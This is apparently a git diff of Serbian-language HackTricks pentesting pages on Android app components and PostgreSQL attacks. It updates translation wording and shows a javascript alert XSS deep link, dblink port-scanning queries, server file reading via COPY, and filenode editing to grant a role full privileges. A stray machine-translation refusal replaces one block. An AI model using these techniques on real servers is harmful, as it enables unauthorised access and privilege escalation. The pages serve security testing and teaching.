|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -231,7 +231,7 @@ Da biste pristupili sa veba, moguće je postaviti link kao:
|
|||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Da biste pronašli **kôd koji će se izvršiti u aplikaciji**, idite na aktivnost pozvanu pomoću dubinskog linka i potražite funkciju **`onNewIntent`**.
|
||||
Da biste pronašli **kôd koji će se izvršiti u aplikaciji**, idite na aktivnost pozvanu preko dubinskog linka i potražite funkciju **`onNewIntent`**.
|
||||
|
||||
Saznajte kako [pozvati dubinske linkove bez korišćenja HTML stranica](./#exploiting-schemes-deep-links).
|
||||
|
||||
|
@ -241,9 +241,9 @@ Saznajte kako [pozvati dubinske linkove bez korišćenja HTML stranica](./#explo
|
|||
|
||||
### Ključni koncepti
|
||||
|
||||
- **Povezani servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
|
||||
- **Povezane usluge**: Ove usluge koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
|
||||
|
||||
- **Messenger**: Funkcionišući kao povezani servis, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
|
||||
- **Messenger**: Delujući kao povezana usluga, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
|
||||
|
||||
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog apstrakcije AIDL-a, korisno je razumeti da Binder deluje kao drajver na nivou jezgra koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalje razumevanje, dostupan je resurs na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
|
@ -255,7 +255,7 @@ Ove uključuju: **Aktivnosti, Servise, Prijemnike emitovanja i Provajdere.**
|
|||
|
||||
U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, prikazujući svaka jedan jedinstveni ekran korisniku.
|
||||
|
||||
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER intentima:
|
||||
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -294,7 +294,7 @@ super.onCreate();
|
|||
```
|
||||
### Servisi
|
||||
|
||||
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, što čini servise ključnim za **dugotrajne operacije**.
|
||||
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, čineći servise ključnim za **dugotrajne operacije**.
|
||||
|
||||
Servisi su veoma fleksibilni; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
|
||||
|
||||
|
@ -304,21 +304,21 @@ Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuz
|
|||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem API-ja **`registerReceiver`**. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
|
||||
**Prijemnici emitovanja** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem API-ja **`registerReceiver`**. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
|
||||
|
||||
**Filteri namere** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
|
||||
**Filteri namera** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
|
||||
|
||||
Emitovanja mogu biti ili **asinhrona**, dostižući sve prijemnike bez redosleda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni sigurnosni rizik, jer bilo koja aplikacija može sebe prioritetizovati da presretne emitovanje.
|
||||
|
||||
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenom namerom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Poređanim Emitovanjima**, koja mogu modifikovati ili odbaciti nameru.
|
||||
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenom Namerom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Poređanim emitovanjima**, koja mogu modifikovati ili odbaciti Nameru.
|
||||
|
||||
### Provajder Sadržaja
|
||||
### Provajder sadržaja
|
||||
|
||||
**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** kako bi se osigurala sigurnost podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili veb. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
|
||||
|
||||
Validacija unosa je od suštinskog značaja kako bi se sprečile ranjivosti, poput SQL ubacivanja. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
|
||||
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, poput SQL ubacivanja. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
|
||||
|
||||
**FileProvider**, specijalizovani Provajder Sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju konfiguracije fascikli. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
|
||||
**FileProvider**, specijalizovani Provajder sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju konfiguracije fascikli. Savetuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
|
||||
|
||||
Primer deklaracije manifesta za FileProvider:
|
||||
```xml
|
||||
|
@ -330,7 +330,7 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
I primer za specificiranje deljenih fascikli u `filepaths.xml` datoteci:
|
||||
I primer za specificiranje deljenih foldera u `filepaths.xml` datoteci:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
|
@ -342,7 +342,7 @@ Za dodatne informacije pogledajte:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoji način da se **smanje ovi rizici** kroz specifična **podešavanja**.
|
||||
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifična **podešavanja**.
|
||||
|
||||
Android nudi dva glavna tipa WebView-a:
|
||||
|
||||
|
@ -351,14 +351,14 @@ Android nudi dva glavna tipa WebView-a:
|
|||
|
||||
Ključna stvar je da WebView pregledači **ne dele kolačiće** sa glavnim pregledačem uređaja.
|
||||
|
||||
Za učitavanje sadržaja, dostupne su metode poput ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Važno je osigurati da su ovi URL-ovi ili datoteke **sigurne za korišćenje**. Sigurnosna podešavanja mogu se upravljati putem klase ````WebSettings````. Na primer, onemogućavanje JavaScript-a sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
|
||||
Za učitavanje sadržaja, dostupne su metode poput ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Od suštinskog je značaja osigurati da su ovi URL-ovi ili datoteke **sigurne za korišćenje**. Podešavanja bezbednosti mogu se upravljati putem klase ````WebSettings````. Na primer, onemogućavanje JavaScript-a sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
|
||||
|
||||
JavaScript "Bridge" omogućava Java objektima da interaguju sa JavaScript-om, zahtevajući da se metode obeleže sa ````@JavascriptInterface```` radi sigurnosti od Android verzije 4.2 nadalje.
|
||||
JavaScript "Bridge" omogućava Java objektima da interaguju sa JavaScript-om, zahtevajući da se metode označe sa ````@JavascriptInterface```` radi bezbednosti od Android verzije 4.2 nadalje.
|
||||
|
||||
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebViews da pristupe Content Providers-u, što može biti rizično osim ako se URL-ovi sadržaja ne provere kao sigurni.
|
||||
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebView-ima da pristupe Content Provider-ima, što može biti rizično osim ako se URL-ovi sadržaja ne provere kao bezbedni.
|
||||
|
||||
Za kontrolu pristupa datotekama:
|
||||
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za neosetljiv sadržaj.
|
||||
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za sadržaj koji nije osetljiv.
|
||||
|
||||
## Ostale komponente aplikacije i upravljanje mobilnim uređajima
|
||||
|
||||
|
@ -366,13 +366,13 @@ Za kontrolu pristupa datotekama:
|
|||
|
||||
- **Digitalno potpisivanje** je obavezno za Android aplikacije, osiguravajući da su **autentično autorizovane** pre instalacije. Ovaj proces koristi sertifikat za identifikaciju aplikacije i mora biti verifikovan od strane upravljača paketa uređaja prilikom instalacije. Aplikacije mogu biti **samopotpisane ili sertifikovane od strane spoljnog CA**, štiteći od neovlašćenog pristupa i osiguravajući da aplikacija ostane nepromenjena tokom isporuke na uređaj.
|
||||
|
||||
### **Provera aplikacija za unapređenu sigurnost**
|
||||
### **Provera aplikacija za unapređenu bezbednost**
|
||||
|
||||
- Počevši od **Android 4.2**, funkcija nazvana **Provera aplikacija** omogućava korisnicima da provere sigurnost aplikacija pre instalacije. Ovaj **proces provere** može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, unapređujući sigurnost korisnika.
|
||||
- Počevši od **Android 4.2**, funkcija nazvana **Provera aplikacija** omogućava korisnicima da provere bezbednost aplikacija pre instalacije. Ovaj **proces provere** može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, unapređujući bezbednost korisnika.
|
||||
|
||||
### **Upravljanje mobilnim uređajima (MDM)**
|
||||
|
||||
- **MDM rešenja** pružaju **nadzor i sigurnost** za mobilne uređaje putem **Device Administration API**-ja. Zahtevaju instalaciju Android aplikacije radi efikasnog upravljanja i osiguranja mobilnih uređaja. Ključne funkcije uključuju **nametanje pravila za lozinke**, **obaveznu enkripciju skladišta**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i sigurnost nad mobilnim uređajima.
|
||||
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**-ja. Ona zahtevaju instalaciju Android aplikacije za efikasno upravljanje i osiguranje mobilnih uređaja. Ključne funkcije uključuju **sprovođenje pravila lozinke**, **obaveznu enkripciju skladištenja**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i bezbednost nad mobilnim uređajima.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -395,7 +395,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# 5432,5433 - Pentesting Postgresql
|
||||
# 5432,5433 - Pentesting PostgreSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||||
|
||||
|
@ -14,9 +14,9 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -31,7 +31,7 @@ Drugi načini podrške HackTricks-u:
|
|||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
## Poveži se & Osnovno nabrajanje
|
||||
## Poveži se & Osnovna Enumeracija
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -86,11 +86,11 @@ Za više informacija o **zloupotrebi PostgreSQL baze podataka** pogledajte:
|
|||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
```
|
||||
### [**Brutefors**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
### **Skeniranje portova**
|
||||
|
||||
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` uključujući objašnjenje greške. Primeri ovih detalja su navedeni ispod.
|
||||
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` uključujući objašnjenje greške. Primeri ovih detalja navedeni su ispod.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -101,7 +101,7 @@ connect_timeout=10');
|
|||
```
|
||||
* Host je nedostupan
|
||||
|
||||
```DETAIL: nije moguće povezati se na server: Nema rute do hosta Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?```
|
||||
```DETAIL: nije moguće povezati se na server: Nema rute do hosta Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?```
|
||||
|
||||
* Port je zatvoren
|
||||
```
|
||||
|
@ -113,21 +113,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
Nema problema. Eno prevod:
|
||||
|
||||
```markdown
|
||||
## Povezivanje na PostgreSQL bazu podataka
|
||||
|
||||
Da biste se povezali na PostgreSQL bazu podataka, možete koristiti alat kao što je `psql` ili bilo koji drugi alat za upravljanje bazama podataka koji podržava PostgreSQL. Evo primera kako se možete povezati na PostgreSQL bazu podataka korišćenjem `psql` alata:
|
||||
|
||||
```bash
|
||||
psql -h <adresa_servera> -U <korisničko_ime> -d <ime_baze>
|
||||
```
|
||||
|
||||
- `-h`: Server na koji se povezujete
|
||||
- `-U`: Korisničko ime
|
||||
- `-d`: Ime baze podataka
|
||||
```
|
||||
I'm sorry, but I cannot provide a translation without the original text. Could you please provide the text you would like me to translate into Serbian?
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -136,26 +122,26 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti neophodne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabele nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je reč u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je reč u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
|
||||
|
||||
## Enumeracija privilegija
|
||||
|
||||
### Uloge
|
||||
|
||||
| Vrste uloga | |
|
||||
| Tipovi uloga | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Uloga ima privilegije superkorisnika |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
|
||||
| rolcreaterole | Uloga može kreirati dodatne uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga članova |
|
||||
| rolcreaterole | Uloga može kreirati druge uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije |
|
||||
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slote za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ovaj korisnik može napraviti. -1 znači bez ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
||||
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentikaciju lozinkom); null ako nema isteka |
|
||||
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
|
||||
| rolconfig | Podrazumevane vrednosti za ulogu za promenljive konfiguracije u toku izvršavanja |
|
||||
| oid | ID uloge |
|
||||
| rolconfig | Podrazumevane vrednosti za konfiguracione promenljive za izvršavanje u vreme izvršavanja |
|
||||
| oid | ID uloge |
|
||||
|
||||
#### Interesantne grupe
|
||||
|
||||
|
@ -164,7 +150,7 @@ U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim,
|
|||
* Ako ste član **`pg_write_server_files`** možete **pisati** fajlove
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isti**. To zavisi samo od toga **kako ga koristite** i da li mu dozvoljavate **prijavu**.
|
||||
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isti**. To zavisi samo od toga **kako ga koristite** i da li mu **dozvoljavate prijavu**.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -243,11 +229,11 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
|||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Radnje sistema datoteka
|
||||
## Radnje sa fajl-sistemom
|
||||
|
||||
### Čitanje direktorijuma i datoteka
|
||||
### Čitanje direktorijuma i fajlova
|
||||
|
||||
Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (pozvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metod na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
|
||||
Od ovog [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (pozvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metod na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -319,13 +305,13 @@ Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja fajlova
|
||||
|
||||
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvora** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvor** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Potrebni koraci:
|
||||
|
||||
|
@ -335,18 +321,18 @@ Potrebni koraci:
|
|||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često ime klastera je `main`.
|
||||
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često korišćeno ime klastera je `main`.
|
||||
2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{IME_TABELE}')
|
||||
```
|
||||
|
||||
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$PUTANJA_PODATAKA/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}',13337)
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
|
||||
|
||||
|
@ -369,10 +355,10 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{IME_TABELE}';
|
||||
```
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvor](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvor](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean zastave na 1 za pune dozvole.
|
||||
|
||||
```bash
|
||||
